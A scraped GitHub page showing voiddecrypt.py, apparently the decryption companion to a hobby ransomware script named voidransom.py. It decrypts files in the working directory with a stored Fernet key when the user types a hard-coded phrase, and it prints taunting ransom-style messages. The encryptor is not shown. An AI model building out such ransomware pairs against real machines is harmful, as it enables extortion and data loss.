-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvoiddecrypt.py
More file actions
38 lines (27 loc) · 945 Bytes
/
voiddecrypt.py
File metadata and controls
38 lines (27 loc) · 945 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
from cryptography.fernet import Fernet
import os
#find files
files = []
for file in os.listdir():
if file == "voidransom.py" or file == "thekey.key" or file == "voiddecrypt.py":
continue
files.append(file)
if os.path.isfile(file):
files.append(file)
print(files)
with open("thekey.key", "rb") as key:
secretkey = key.read()
# decryption process
secretphrase = "dedopswashere"
user_phrase = input("Please enter super secret phrase to decrypt files! \n")
if user_phrase == secretphrase:
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_decrypted)
print("Damn you beat us super elite hackers!!!")
else:
print("Sorry we a super strong decryption password! AHAHAHHAAH")